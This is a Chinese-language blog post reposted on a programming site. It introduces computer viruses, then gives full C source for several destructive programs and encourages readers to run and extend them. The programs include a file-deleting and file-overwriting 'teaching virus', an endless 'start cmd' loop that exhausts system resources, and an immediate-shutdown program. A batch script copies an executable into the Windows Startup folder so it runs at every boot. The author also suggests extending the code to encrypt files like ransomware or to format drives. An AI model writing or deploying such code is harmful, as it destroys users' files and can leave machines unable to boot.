主頁 > 軟體設計 > 網路攻防:關于病毒的一些東西(附帶一些自己寫的病毒程式)

網路攻防:關于病毒的一些東西(附帶一些自己寫的病毒程式)

2020-10-10 20:10:23 軟體設計

這篇文章是突發奇想寫的,因為最近突然對病毒產生了一些興趣,因此特別寫了這么一篇文章來紀念一下.
前面我會首先介紹一下什么是病毒,后面我會把一些病毒的原始碼發上來.
當然,我也不知道能不能稱其為病毒,因此,大佬就當樂子看看就好.

一.關于病毒的介紹

按照講課的一般慣例,首先需要百度一下關于病毒的基本知識.如圖.

在這里插入圖片描述
圖中我們可以看出,病毒其實就是在計算機中插入的破壞計算機的惡意代碼.我們姑且可以這么認為:只要是能破壞計算機正常運行的代碼,都可以認為是病毒.因此,即使是用批處理腳本寫一個洗掉檔案的命令,我們都能認為是病毒,因為它對計算機造成了阻礙.

當然,上面都只是我自己的理解,也許想要稱某個程式為病毒的話,可能還需要符合其他特點.
但是我認為這樣理解是沒有錯的,因為就在寫這篇文章之前,我偶然搜索到了一個"%0病毒".這個病毒特別的簡單,只有一句話.
但是作用就是一直打開程式本身,最后使電腦死機.有興趣的同學可以去csdn上面搜索一下這個病毒,挺有意思的.

正因為這么簡單的代碼都能稱為病毒,因此我認為,我的理解應該是正確的.

二.關于病毒的分類

不敢太猜測大佬的思維,只能說說自己對于一些病毒的自己的理解.

1.按照病毒的破壞性分類

良性病毒:僅僅顯示資訊、奏樂、發出聲響,自我復制的,除了傳染時減少磁盤的可用空間外,對系統沒有其它影響,
惡性病毒:封鎖、干擾、中斷輸入輸出、使用戶無法列印等正常作業,甚至電腦中止運行,這類病毒在計算機系統操作中造成嚴重的錯誤,
極惡性病毒:死機、系統崩潰、洗掉普通程式或系統檔案,破壞系統配置導致系統死機、崩潰、無法重啟, 這些病毒對系統造成的危害,并不是本身的演算法中存在危險的呼叫,而是當它們傳染時會引起無法預料的和災難性的破壞,
災難性病毒:破壞磁區表資訊、主引導資訊、FAT,洗掉資料檔案,甚至格式化硬碟等,

第一個,良性病毒.簡單來說,我們隨手寫一個程式,比如彈出一個helloword,我們也姑且認為是一個病毒,并且可以被叫做是良性病毒.
在后面我寫了一個比較有意思的小程式,就可以稱為良性病毒.

在說說第二個,惡性病毒.這類病毒就比較具有攻擊性了,是可以對系統造成一定的威脅性的.
后面我寫了兩個病毒程式.效果是開啟后讓電腦陷入一直關機的狀態.
另一個是開啟以后,會在后臺一直創建行程,直到死機.
都是兩個比較簡單的程式,但是效果比較明顯.

最后一個我就不說了,因為這么nb的病毒我要是能寫出來,我就不坐在這里打字了.

2.按照傳染方式分類

檔案型病毒:一般只傳染磁盤上的可執行檔案(COM,EXE),在用戶呼叫染毒的可執行檔案時,病毒首先被運行,然后病毒駐留記憶體伺機傳染其他檔案或直接傳染其他檔案,其特點是附著于正常程式檔案,成為程式檔案的一個外殼或部件,這是較為常見的傳染方式,
混合型病毒:兼有以上兩種病毒的特點,既染引導區又染檔案,因此擴大了這種病毒的傳染途徑,

這幾點沒啥好說的,只要識字的人知道啥意思.

3.比較出名病毒

這個我懶得打字了.直接上截圖
在這里插入圖片描述

4.需要注意的一些地方

要理解木馬,病毒,漏洞是不同的三種東西.我一開始也并不知道這三種東西有什么區別,后來百度了才知道.

先說說木馬.木馬和病毒是不同的,不能認為是同一種東西.
木馬主要是黑客用來對你的電腦留后門的,比如遠程在你的電腦后臺創建一個賬戶,這就是一種留后門的方法.

其次是病毒.這個就是對你的電腦造成破壞的程式了.比如之前很出名的勒索病毒,原理就是對檔案進行一個加密.
這也是對檔案的一種感染.只要你懂這個原理,甚至自己寫一個加密檔案的程式,都可以叫做"小菜雞做的勒索病毒".(這種話只能說說看,你別真這么叫,因為真正的勒索病毒是很復雜的,利用了一個叫做永恒之藍的漏洞)

最后一個就是漏洞,這個就是另外一種東西了.你的windows一直在更新,原因就是在修復很多漏洞.比如c語言程式里面就有一個漏洞叫做"陣列越界".
這個漏洞產生的原因,就是因為最早發明c語言的時候,為了節省檢查陣列的記憶體,因此對陣列的邊界沒有一個嚴格的限制,才產生了這個漏洞.
還有一個叫做緩沖區溢位的漏洞,這個漏洞被用的比較廣泛,是很多黑客都會用使用的一個漏洞.
(這個漏洞,說實話我感覺和陣列越界的原理差不多.以前在做ctf里面的pwn題的時候明顯能感覺到.)

三.一些病毒的原始碼

1.教學病毒

這個病毒實作了一些基礎的病毒該有的功能,比如感染檔案,洗掉檔案,制造垃圾文等作用,非常適合用來學習病毒.
當然,這個是借鑒了其他csdn大佬的程式,并不是我寫的.

首先先說一下這個病毒的基本作用.
1.感染檔案
病毒會將某個目錄下的檔案進行感染,下面兩張圖是感染前后的對比.
在這里插入圖片描述
在這里插入圖片描述
可以看到,檔案內容發生了變化.
2.制造垃圾檔案
程式運行以后,會在某個目錄下生成一些系統的臨時檔案.這個病毒僅僅生成了一個.
在這里插入圖片描述
在這里插入圖片描述
這兩種檔案都是病毒程式生成的,只不過原理不同,一會兒我會講怎么實作.
3.洗掉檔案
顧名思義,洗掉某個目錄下特定的檔案,比如以.txt結尾的檔案.

運行病毒的程式之前步驟

這個病毒是感染特定目錄下的檔案,因此需要提前創建一個目錄,并且在這個目錄下創建一些檔案.
在這里插入圖片描述
創建一個檔案夾,我的檔案夾是virus.然后在這個檔案夾下創建兩個檔案,檔案名如圖.E_KILL.c是當病毒感染檔案以后的檔案內容.
在E_KILL.c檔案中寫入以下代碼.

#include<stdio.h>
#include<Windows.h>

int main(void)
{
    printf("It is virus\n");
    system("pause");
    return 0;
}

另一個viruse.c就是我們病毒的原始碼了.這個一會兒再說.
接著就是temp檔案夾了,這個檔案夾就是要被感染的目標檔案夾,按照如圖創建.
在這里插入圖片描述
s.txt和a.docx是兩個空的檔案,另外兩個檔案寫入以下內容:

#include<stdio.h>
#include<Windows.h>

int main(void)
{
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    system("pause");
    return 0;
}

好了,準備作業就做完了,接下來就是講解關于病毒原始碼的講解了.

病毒原始碼

關于原始碼的講解,我直接就以注釋的方式寫在代碼里面了.好好看,好好學.

#include<stdio.h>
#include<io.h>
#include<Windows.h>
#include<stdlib.h>
#include<string.h>
#include <direct.h>

#define INFECT_PATH "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp"
#define DELETE_FILE1 "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\*.txt"
#define DELETE_FILE2 "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\*.docx"
#define CREAT_EXE1 "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\worm.exe"
#define CREAT_EXE2 "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\virus.exe"
#define Targetfile "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\*.c"
#define Virusfile "F:\\20年 上\\網路安全\\講課-病毒\\virus\\E_KILL.c"
//使用了很多宏定義.這些都是后面會用得到的,需要改成你自己的檔案路徑,記得用兩個斜杠做分隔符.
void MakeRubbish(void);
void CreatEXE(void);
void Remove(void);
void InfectFile(void);
void copyfile(char* infile,char *outfile);
//函式宣告

void MakeRubbish(void)
{
    int i=0;
    FILE *fp=NULL;
    char* path=NULL;
    char* NewName=NULL;
    char tempname[]="XXXXXX";
//這個是生成臨時檔案的檔案名,幾個×就代表幾個隨機字符.
    path=INFECT_PATH;   

    if(!_chdir(path))
    {
        printf("open DIR success\n");
    }
    else
    {
        printf("open DIR failed\n");
        perror("Error: ");
    }
//_chdir函式用于改變當前作業目錄,將當前作業目錄改成了宏定義的目錄
    NewName=_mktemp(tempname);
    fp=fopen(NewName,"w");
    fclose(fp);
//創建臨時檔案
}

void CreatEXE(void)
{
    int i;
    char* s[2]={CREAT_EXE1,CREAT_EXE2};
    for(i=0;i<2;i++)
    {
        open(s[i],0x0100,0x0080);
        //創建垃圾程式,open第二個引數是創建并且打開檔案,第三個引數是寫入的意思
        copyfile(Virusfile,s[i]);
        //將開始那個E_KILL檔案內容復制到新創建的exe檔案當中.
    }
}

void Remove(void)
{
    int done;
    int i;

    struct _finddata_t ffblk;
    char *documenttype[2] = {DELETE_FILE1,DELETE_FILE2}; 
    for (i = 0; i < 2; i++)
    {
        done = _findfirst(documenttype[i],&ffblk);
        if(done!=-1)
        {
            printf("delete %s\n",ffblk.name);
            remove(ffblk.name);                             
            while (!_findnext(done,&ffblk))
            {
                printf("delete %s\n",ffblk.name);
                remove(ffblk.name);                         
            }
        }
        _findclose(done);
    }
    //這個原理比較簡單,就是進行了一個查找,然后洗掉.就不贅述了.
}


void copyfile(char* infile,char* outfile)
{
    FILE *in,*out;
    in=fopen(infile,"r");
    out=fopen(outfile,"w");
    while(!feof(in))
    {
        fputc(fgetc(in),out);
    }
    fclose(in);
    fclose(out);
}
//感染檔案子函式
void InfectFile(void)
{
    int done;
    int i;

    struct _finddata_t ffblk;
    char *documenttype = Targetfile;

    done = _findfirst(documenttype,&ffblk);
    copyfile(Virusfile,ffblk.name);
    while (!_findnext(done,&ffblk))
    {
        copyfile(Virusfile,ffblk.name); //感染
    }
    _findclose(done);
}
//對檔案進行感染,原理其實就是將病毒檔案進行復制即可.

/*This is a flag:end*/
int main(void)
{
    MakeRubbish( );
    CreatEXE( );
    Remove( );
    InfectFile( );
    system("pause");
    return 0;
}
//主程式

運行的時候記得用管理員身份打開.

程式大概就是這樣.其實很多病毒的雛形就是這個.
比如可以對這個原始碼進行修改,將一個死回圈加到創建垃圾檔案,那么效果就是一直創建垃圾檔案,直到電腦記憶體被全部占滿.
在比如,可以將單純的復制檔案改為對檔案進行rsa加密,這樣會比摧毀檔案更讓人頭疼.

運行結果

在這里插入圖片描述
可以看到,檔案夾中被創建了一個叫做a14192的臨時檔案,這個就是我們的功能之一.
接著打開e.c,可以看到檔案已經變成了如圖所示的內容.
在這里插入圖片描述
由此可見,我們的檔案已經被成功感染.
當然,這個病毒是非常簡單的一種,你可以對功能進行一些擴充,比如寫入注冊表設定自啟動,比如格式化某個硬碟…等等等等,這個就看你了.

2.一些我自己寫的病毒

姑且先叫做是病毒吧,因為也是對電腦造成了阻礙.我的靶機都是win2003,別的機器可能出不來效果.

1>永恒之綠

這個名字是我突然想起來有個叫"永恒之藍"的漏洞,于是我也給這個病毒起了個這個名字.先看看效果.
在這里插入圖片描述
這個病毒運行以后,會一直在螢屏上重繪綠色的0和1.
怎么樣?是不是看著比較有意思?
這個程式并沒有什么危害性,調出任務管理器就可以關掉.不過我還在后面寫了一個批處理腳本,代碼如下:

@echo off
copy virus_fake.exe "C:\Documents and Settings\Administrator\「開始」選單\程式\啟動"

這個腳本執行以后,會將病毒程式加載到啟動項,每次開機都會運行這個程式.
當然,記得要把第二行copy后面的檔案名改成你病毒程式的檔案名才可以.

接下來就是病毒的原始碼.

#include <stdio.h>
int main(){
    system("color 0a");
    //呼叫一個cmd命令,將文字顏色調成綠色,背景調成黑色
    while(1){
        printf("01011010101001010");
        //使用一個死回圈,回圈在螢屏上列印0和1
    }
}

如圖,要將exe和bat放到一個位置.
在這里插入圖片描述
如果直接運行程式,是只會在一個視窗執行.
在這里插入圖片描述
我們還需要右鍵這個程式,然后設定屬性和默認值為全屏才可以出現開始那個效果.
在這里插入圖片描述
這就是第一個病毒程式,永恒之綠.就是一個花里胡哨的小程式,只能用來嚇唬人,其實并沒有什么太厲害的地方.
不過第二個就比較厲害了,會無止境的消耗系統資源.

2>不知道該叫啥,就叫死機病毒吧

運行結果如圖:
在這里插入圖片描述
此刻我的虛擬機已經死機了,只能重啟.
在這里插入圖片描述
這個病毒的原理就是一直在打開cmd界面,最后系統資源耗盡,然后死機.這次我打開性能監視器,如圖.
在這里插入圖片描述
短短幾秒鐘,行程就達到了500多個.如果在加上上面的那個開機自啟動腳本,想想看,后果是不是很可怕?
直接上原始碼.

#include <stdio.h>
int main(){
    while(1)
    system("start cmd");
    //我寫了一個死回圈,然后執行cmd命令.這個命令就是打開cmd視窗,為什么要加start呢?這個可以百度一下為什么.
    return 0;
}

代碼很簡單,但是效果還是很猛的.這個的原理和%0病毒是相似的.

3>病毒之重啟

這個名字是我看了盜墓筆記重啟以后想到的,干脆就拿來用了.
重啟是真的重啟,運行以后會讓電腦直接關機.如果配合上自啟動腳本,效果就是開機就關機,開機就關機,開機就…
威力還是比較可觀的.截圖我就不上了,直接放代碼.

#include <stdio.h>
int main(){
    system("shutdown -s -t 0");
    //呼叫cmd命令,-s是關機的意思,-t 0 是設定0秒以后關機的意思
    return 0;
}

首先,運行病毒1里面的自啟動腳本(記得改檔案名),然后關機,在開機,病毒就開始執行了.

最后這個病毒是威力最大的一個,因為你連機都開不了,談何洗掉病毒?
當然,你可以進入安全模式進行洗掉,而那些不懂這些的人可就遭了殃了.
上面三個其實可以直接在病毒程式中添加自啟動命令的,但是我的編譯器一編譯就會自動執行程式,因此我寫成了兩個,不然自己的病毒把自己感染了就出大事了.

4>額外補充的一些事情

上面發的三個病毒其實都是小打小鬧,真正厲害的是一些比如熊貓燒香之類的病毒.
當然,那些大佬對于我來說都是目不可及的.
曾經有幸見過一個大佬寫的"金豬報喜"病毒,原理和熊貓燒香類似,用的是c++寫的.如果說以后有機會的話,我會寫一個這樣的病毒發上來給大家看看.

三.總結

關于病毒的基本原理,大概就是這樣.如果各位還有什么要補充的話可以放在評論區里.
上面的三個病毒只能算是特別小的病毒,一些更厲害的病毒可以去看看其他csdn大佬寫的東西,比如隱藏行程之類的功能.就這樣吧,不多說了.有興趣可以加我qq:1392969921

轉載請註明出處,本文鏈接:https://www.uj5u.com/ruanti/166665.html

標籤:其他

上一篇:失業日記 9月30日

下一篇:一個月熬夜啃透這份20W字純手打Java并發學習筆記,定級阿里P6

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 面試突擊第一季,第二季,第三季

    第一季必考 https://www.bilibili.com/video/BV1FE411y79Y?from=search&seid=15921726601957489746 第二季分布式 https://www.bilibili.com/video/BV13f4y127ee/?spm_id_fro ......

    uj5u.com 2020-09-10 05:35:24 more
  • 第三單元作業總結

    1.前言 這應該是本學期最后一次寫作業總結了吧。總體來說,對作業的節奏也差不多掌握了,作業做起來的效率也更高了。雖然和之前的作業一樣,作業中都要用到新的知識,但是相比之前,更加懂得了如何利用工具以及資料。雖然之間卡過殼,但總體而言,這幾次作業還算完成的比較好。 2.作業程序總結 相比前兩個單元,此單 ......

    uj5u.com 2020-09-10 05:35:41 more
  • 北航OO(2020)第四單元博客作業暨課程總結博客

    北航OO(2020)第四單元博客作業暨課程總結博客 本單元作業的架構設計 在本單元中,由于UML圖具有比較清晰的樹形結構,因此我對其中需要進行查詢操作的元素進行了包裝,在樹的父節點中存盤所有孩子的參考。考慮到性能問題,我采用了快取機制,一次查詢后盡可能快取已經遍歷過的資訊,以減少遍歷次數。 本單元我 ......

    uj5u.com 2020-09-10 05:35:48 more
  • BUAA_OO_第四單元

    一、UML決議器設計 ? 先看下題目:第四單元實作一個基于JDK 8帶有效性檢查的UML(Unified Modeling Language)類圖,順序圖,狀態圖分析器 MyUmlInteraction,實際上我們要建立一個有向圖模型,UML中的物件(元素)可能與同級元素連接,也可與低級元素相連形成 ......

    uj5u.com 2020-09-10 05:35:54 more
  • 6.1邏輯運算子

    邏輯運算子 1. && 短路與 運算式1 && 運算式2 01.運算式1為true并且運算式2也為true 整體回傳為true 02.運算式1為false,將不會執行運算式2 整體回傳為false 03.只要有一個運算式為false 整體回傳為false 2. || 短路或 運算式1 || 運算式2 ......

    uj5u.com 2020-09-10 05:35:56 more
  • BUAAOO 第四單元 & 課程總結

    1. 第四單元:StarUml檔案決議 本單元采用了圖模型決議UML。 UML檔案可以抽象為圖、子圖、邊的邏輯結構。 在實作中,圖的節點包括類、介面、屬性,子圖包括狀態圖、順序圖等。 采用了三次遍歷UML元素的方法建圖,第一遍遍歷建點,第二、三次遍歷設定屬性、連邊,實作圖物件的初始化。這里借鑒了一些 ......

    uj5u.com 2020-09-10 05:36:06 more
  • 談談我對C# 多型的理解

    面向物件三要素:封裝、繼承、多型。 封裝和繼承,這兩個比較好理解,但要理解多型的話,可就稍微有點難度了。今天,我們就來講講多型的理解。 我們應該經常會看到面試題目:請談談對多型的理解。 其實呢,多型非常簡單,就一句話:呼叫同一種方法產生了不同的結果。 具體實作方式有三種。 一、多載 多載很簡單。 p ......

    uj5u.com 2020-09-10 05:36:09 more
  • Python 資料驅動工具:DDT

    背景 python 的unittest 沒有自帶資料驅動功能。 所以如果使用unittest,同時又想使用資料驅動,那么就可以使用DDT來完成。 DDT是 “Data-Driven Tests”的縮寫。 資料:http://ddt.readthedocs.io/en/latest/ 使用方法 dd. ......

    uj5u.com 2020-09-10 05:36:13 more
  • Python里面的xlrd模塊詳解

    那我就一下面積個問題對xlrd模塊進行學習一下: 1.什么是xlrd模塊? 2.為什么使用xlrd模塊? 3.怎樣使用xlrd模塊? 1.什么是xlrd模塊? ?python操作excel主要用到xlrd和xlwt這兩個庫,即xlrd是讀excel,xlwt是寫excel的庫。 今天就先來說一下xl ......

    uj5u.com 2020-09-10 05:36:28 more
  • 當我們創建HashMap時,底層到底做了什么?

    jdk1.7中的底層實作程序(底層基于陣列+鏈表) 在我們new HashMap()時,底層創建了默認長度為16的一維陣列Entry[ ] table。當我們呼叫map.put(key1,value1)方法向HashMap里添加資料的時候: 首先,呼叫key1所在類的hashCode()計算key1 ......

    uj5u.com 2020-09-10 05:36:38 more
最新发布
  • 【中介者設計模式詳解】C/Java/JS/Go/Python/TS不同語言實作

    * 中介者模式是一種行為型設計模式,它可以用來減少類之間的直接依賴關系,
    * 將物件之間的通信封裝到一個中介者物件中,從而使得各個物件之間的關系更加松散。
    * 在中介者模式中,物件之間不再直接相互互動,而是通過中介者來中轉訊息。 ......

    uj5u.com 2023-04-20 08:20:47 more
  • 露天煤礦現場調研和交流案例分享

    他們集團的資訊化公司及研究院在一個礦區正在做智能礦山的統一平臺的 試點,專案投資大概1億,包括了礦山的各方面的內容,顯示得我們這次交流有點多余。他們2年前開始做智能礦山的規劃,有很多煤礦行業專家的加持,他們的描述是非常完美,但是去年底應該上線的平臺,現在還沒有看到影子。他們確實有很多場景需求,但是被... ......

    uj5u.com 2023-04-20 08:20:25 more
  • 《社區人員管理》實戰案例設計&個人案例分享

    設計是一個讓人夢想成真程序,開始編碼、測驗、除錯之前進行需求分析和架構設計,才能保證關鍵方面都做正確 ......

    uj5u.com 2023-04-20 08:20:17 more
  • 軟體架構生態化-多角色交付的探索實踐

    作為一個技術架構師,不僅僅要緊跟行業技術趨勢,還要結合研發團隊現狀及痛點,探索新的交付方案。在日常中,你是否遇到如下問題 “ 業務需求排期長研發是瓶頸;非研發角色感受不到研發技改提效的變化;引入ISV 團隊又擔心質量和安全,培訓周期長“等等,基于此我們探索了一種新的技術體系及交付方案來解決如上問題。 ......

    uj5u.com 2023-04-20 08:20:10 more
  • 【中介者設計模式詳解】C/Java/JS/Go/Python/TS不同語言實作

    * 中介者模式是一種行為型設計模式,它可以用來減少類之間的直接依賴關系,
    * 將物件之間的通信封裝到一個中介者物件中,從而使得各個物件之間的關系更加松散。
    * 在中介者模式中,物件之間不再直接相互互動,而是通過中介者來中轉訊息。 ......

    uj5u.com 2023-04-20 08:19:44 more
  • 露天煤礦現場調研和交流案例分享

    他們集團的資訊化公司及研究院在一個礦區正在做智能礦山的統一平臺的 試點,專案投資大概1億,包括了礦山的各方面的內容,顯示得我們這次交流有點多余。他們2年前開始做智能礦山的規劃,有很多煤礦行業專家的加持,他們的描述是非常完美,但是去年底應該上線的平臺,現在還沒有看到影子。他們確實有很多場景需求,但是被... ......

    uj5u.com 2023-04-20 08:19:07 more
  • 《社區人員管理》實戰案例設計&個人案例分享

    設計是一個讓人夢想成真程序,開始編碼、測驗、除錯之前進行需求分析和架構設計,才能保證關鍵方面都做正確 ......

    uj5u.com 2023-04-20 08:18:57 more
  • 軟體架構生態化-多角色交付的探索實踐

    作為一個技術架構師,不僅僅要緊跟行業技術趨勢,還要結合研發團隊現狀及痛點,探索新的交付方案。在日常中,你是否遇到如下問題 “ 業務需求排期長研發是瓶頸;非研發角色感受不到研發技改提效的變化;引入ISV 團隊又擔心質量和安全,培訓周期長“等等,基于此我們探索了一種新的技術體系及交付方案來解決如上問題。 ......

    uj5u.com 2023-04-20 08:18:49 more
  • 05單件模式

    #經典的單件模式 public class Singleton { private static Singleton uniqueInstance; //一個靜態變數持有Singleton類的唯一實體。 // 其他有用的實體變數寫在這里 //構造器宣告為私有,只有Singleton可以實體化這個類! ......

    uj5u.com 2023-04-19 08:42:51 more
  • 【架構與設計】常見微服務分層架構的區別和落地實踐

    軟體工程的方方面面都遵循一個最基本的道理:沒有銀彈,架構分層模型更是如此,每一種都有各自優缺點,所以請根據不同的業務場景,并遵循簡單、可演進這兩個重要的架構原則選擇合適的架構分層模型即可。 ......

    uj5u.com 2023-04-19 08:42:41 more